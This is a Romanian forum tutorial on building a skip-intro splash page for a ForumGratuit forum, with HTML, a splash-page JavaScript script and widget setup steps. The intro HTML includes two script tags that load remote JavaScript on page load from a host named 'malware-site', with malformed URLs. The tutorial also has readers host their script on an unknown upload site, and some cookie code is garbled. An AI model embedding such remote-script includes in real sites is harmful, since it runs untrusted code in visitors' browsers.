Metal Zone
Doriți să reacționați la acest mesaj? Creați un cont în câteva clickuri sau conectați-vă pentru a continua.



 
AcasaAcasa  PortalPortal  Ultimele imaginiUltimele imagini  CăutareCăutare  ÎnregistrareÎnregistrare  Conectare  

 

 Cum se realizeaza un skip intro

In jos 
AutorMesaj
ReDmAn
Membru
Membru
ReDmAn


Mesaje : 128
Data de inscriere : 25/09/2011

Cum se realizeaza un skip intro Empty
MesajSubiect: Cum se realizeaza un skip intro   Cum se realizeaza un skip intro EmptyMar Oct 04, 2011 6:59 am

Intro pentru forumul tau.

Salutare dragi useri.
Prin acest tutorial invatati cum sa creati un intro folosindu-va de portal.

Ce este un intro?
Intro reprezinta un mesaj de bun venit pentru vizitatorii forumului dumneavoastra, in care puteti adauga fotografii, scrisori, s.a.m.d.

Pentru crearea acestui intro, se fac urmatorii pasi:

Primul pas:

PA> Module> HTML> Administrare pagini HTML> Creeaza o nouă pagină HTML> Completaţi formularul de genul:

Titlu: Intro

Doriţi să utilizaţi partea de sus şi partea de jos a paginii forumului dvs.?: nu
Folositi aceasta pagina ca pagina de start? nu

Cod HTML: - aici introduceti urmatorul cod :

Cod:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Bine ati venit pe cel mai bun forum de pe net!</title>
<style type="text/css">
<!--
body,td,th {
color: #FFFFFF;
}
body {
background-color: #000000;
background-image: url('URL-ul imaginii');
background-attachment: scroll;
background-repeat: repeat-x;
}
-->
</style></head>

<body>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<p align="center"><img src="URL-ul imaginii"></p>

<p align="center"><script>var compteurcc_adultvar = "0";</script>
<script src="http://www.malware-site.wwweffets/effets.php?id=7&msg=Bine ati venit!&taille=600"></script></a></p>

<p align="center"><script>var compteurcc_adultvar = "1";</script>
<script src="http://www.malware-site.www/effets/effets.php?id=4&i=190.74.43.48&msg= Bine ati venit!&taille=600"></script>
</a>
</body>
</html>p

* Ceea ce este scris cu negru este titlul paginii, puteţi pune numele forumului dvs. sau ce doriti.
* Ceea ce este scris cu albastru este culoarea textului din pagina (daca se va scrie ceva).
* Ceea ce este scris cu verde este culoarea fundalului paginii.
* Ceea ce este scris cu rosu este imaginea din fundalul paginii.
Dacă doriţi sa aveti doar culoare in fundal si nu si imagine, atunci procedati astfel in cod:

Cod:

background-image: url('');

* Ceea ce este scris cu rosu inchis este imaginea centrala (logo-ul forumului tau sau ceea ce doriti).
* Ceea ce este scris cu verde inchis este textul ce reprezinta animatia.

Dupa ce ati completat acest cod dupa propriile gusturi, puteti da "Valideaza" pentru ca pagina html sa fie creata.

Pasul doi:

Copiati urmatorul cod intr-un document text si inlocuieste ceea ce este scris cu rosu cu url-ul paginii HTML create adineaori si ceea ce este scris cu albastru inlocuieste cu propriul mesaj de bun venit.

Cod:
var splashpage={
// Splash Page Script Activation (1=enabled, 0=completely disabled!)
splashenabled: 1,

//1) URL to file on your server to display as the splashpage
splashpageurl: "URL DE LA PÁGINA HTML",

//2) Enable frequency control? (1=yes, 0=no)
enablefrequency: 0,

//3) display freqency: "sessiononly" or "x days" (string value). Only applicable if 3) above is enabled
displayfrequency: "2 days",

//4) HTML for the header bar portion of the Splash Page
// Make sure to create a link that calls "javascript:splashpage.closeit()")
// An IE bug means you should not right align any image within the bar, but instead use "position:absolute" and the "right" attribute

defineheader: '<div style="padding: 5px; color: white; font: bold 16px Verdana; background: black url(http://www.fileden.com/files/2007/11/16/1588700/blockdefault.gif) center center repeat-x;"><a style="position:absolute; top: 2px; right: 5px" href="javascript:splashpage.closeit()" title="Skip to Content"><img src="http://www.fileden.com/files/2007/11/16/1588700/skip.gif" border="0" width="114px" height="23px" /></a>Bine ati venit</div>',

//5) cookie setting: ["cookie_name", "cookie_path"]
cookiename: ["splashpagecookie", "path=/"],

//6) Auto hide Splash Page after x seconds (Integer value, 0=no)?
autohidetimer: 15,

////No need to edit beyond here//////////////////////////////////

launch:false,
browserdetectstr: (window.opera&&window.getSelection) || (!window.opera && window.XMLHttpRequest), //current browser detect string to limit the script to be run in (Opera9 and other "modern" browsers)

output:function(){
document.write('<div id="slashpage" style="position: absolute; z-index: 100; color: white; background-color:white">') //Main splashpage container
document.write(this.defineheader) //header portion of splashpage
document.write('<iframe name="splashpage-iframe" src="about:blank" style="margin:0; padding:0; width:100%; height: 100%"></iframe>') //iframe
document.write('
&nbsp;</div>')
this.splashpageref=document.getElementById("slashpage")
this.splashiframeref=window.frames["splashpage-iframe"]
this.splashiframeref.location.replace(this.splashpageurl) //Load desired URL into splashpage iframe
this.standardbody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body
if (!/safari/i.test(navigator.userAgent)) //if not Safari, disable document scrollbars
this.standardbody.style.overflow="hidden"
this.splashpageref.style.left=0
this.splashpageref.style.top=0
this.splashpageref.style.width="100%"
this.splashpageref.style.height="100%"
this.moveuptimer=setInterval("window.scrollTo(0,0)", 50)
},

closeit:function(){
clearInterval(this.moveuptimer)
this.splashpageref.style.display="none"
this.splashiframeref.location.replace("about:blank")
this.standardbody.style.overflow="auto"
},

init:function(){
if (this.enablefrequency==1){ //if frequency control turned on
if (/sessiononly/i.test(this.displayfrequency)){ //if session only control
if (this.getCookie(this.cookiename[0]+"_s")==null){ //if session cookie is empty
this.setCookie(this.cookiename[0]+"_s", "loaded")
this.launch=true
}
}
else if (/day/i.test(this.displayfrequency)){ //if persistence control in days
if (this.getCookie(this.cookiename[0])==null || parseInt(this.getCookie(this.cookiename[0]))!=parseInt(this.displayfrequency)){ //if persistent cookie is empty or admin has changed number of days to persist from that of the stored value (meaning, reset it)
this.setCookie(this.cookiename[0], parseInt(this.displayfrequency), parseInt(this.displayfrequency))
this.launch=true
}
}
}
else //else if enablefrequency is off
this.launch=true
if (this.launch){
this.output()
if (parseInt(this.autohidetimer)>0)
setTimeout("splashpage.closeit()", parseInt(this.autohidetimer)*1000)
}
},

getCookie:function(Name){
var re=new RegExp(Name+"=[^;]+", "i"); //construct RE to search for target name/value pair
if (document·cookie.match(re)) //if cookie found
return document·cookie.match(re)[0].split("=")[1] //return its value
return null
},

setCookie:function(name, value, days){
var expireDate = new Date()
//set "expstring" to either an explicit date (past or future)
if (typeof days!="undefined"){ //if set persistent cookie
var expstring=expireDate.setDate(expireDate.getDate()+parseInt(days))
document·cookie = name+"="+value+"; expires="+expireDate.toGMTString()+"; "+splashpage.cookiename[1] //last portion sets cookie path
}
else //else if this is a session only cookie setting
document·cookie = name+"="+value+"; "+splashpage.cookiename[1] //last portion sets cookie path
}

}

if (splashpage.browserdetectstr && splashpage.splashenabled==1)
splashpage.init()

Apoi, salvati fisierul cu numele "exemplu.js", ca in imaginea de mai jos, in calculator.
Atentie la extensie ! (.js)
Denumirea in foto este intro, insa puteti pune si alt nume.





Încărcati acest fisier pe o pagina de gazduire, ca de exemplu urmatoarea pagina: http://pmsc.free.fr/J/upload.php http://pmsc.free.fr/J/upload.php
Gasiti fisierul in calculatorul dvs. cu functia "Browse" si apoi uploadati-l, pe linkul de mai sus.
Veti primi un link catre fisierul uploadat.

Acum mergem in :
PA> Module> Portal & widget-uri> Configurarea portalului> Structura.
Apasati: "Creati un widget personalizat" si completati formularul dupa cum urmeaza:

Cod:
Nume widget: Intro
Utilizati un tablou tip:
Titlul modului: aici nu se pune nimic
Sursa widget: urmatorul cod :



<script type="text/javascript" src=" URL FILE .JS "></script>


Inlocuiti ceea ce este scris cu rosu cu linkul primit la uploadarea fisierului "exemplu.js".

Apasati apoi "Înregistrare" si vom avea acum in lista de module personalizate si modulul "Intro".
Adaugati acest widget in structura portalului.

Este intotdeauna recomandabil sa adaugati un modul in portal, niciodata in forum.
Veti fi redirectionati spre forumul dvs. dupa cateva secunde sau imediat ce ati apasat butonul "close" din partea de sus a intro-ului.
Tutorial creat de Black!
Editat pentru Forumgratuit de campionatuldewhist
Re-Editat de ReDmAn pentru MetalZone
Sursa:ForumGratuit
Sus In jos
 
Cum se realizeaza un skip intro
Sus 
Pagina 1 din 1

Permisiunile acestui forum:Nu puteti raspunde la subiectele acestui forum
Metal Zone :: Generale :: Zona ForumGratuit :: Tutoriale FG-
Mergi direct la: